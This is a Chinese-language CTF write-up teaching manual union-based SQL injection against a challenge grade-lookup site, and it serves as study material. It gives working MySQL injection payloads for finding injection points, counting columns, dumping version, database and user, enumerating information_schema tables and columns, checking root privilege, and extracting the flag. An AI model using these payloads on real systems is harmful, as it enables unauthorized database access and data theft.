手工SQL注入

题目地址:http://123.206.87.240:8002/chengjidan/

判断是否存在注入点

【?id=32(数字任意)】链接的结尾依次添加语句【’】、【and 1=1】和【and 1=2】,来判断网站是否存在注入点。尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, – )后发现依旧可以正常输出,存在注入点。
看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。

判断字段长度

在链接后面添加语句【 order by 11 (数字任意)】,根据页面返回结果,来判断站点中的字段数目。该题中已经有四处回显(名字和3科分数),所以就猜4和5,得知查询结果中有四列。

' order by 4#

判断字段回显位置

在链接后面添加语句进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

-' union select 1,2,3,4#

判断数据库信息

利用内置函数暴数据库信息
version()版本;database()数据库;user()用户;
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root

-' union select 1,version(),database(),user()#

查找数据库名

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息union select information_schema from information_schema.schemata (语句在显示位)
该题看一下数据库信息,库名为skctf_flag

-' union select 1,version(),database(),user()#

查找数据库表名

-' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

查找列名

-' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

知道表名知道列名,获取数据

-' union select 1,(select skctf_flag from fl4g),3,4#

查找数据库表中所有字段以及字段值

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章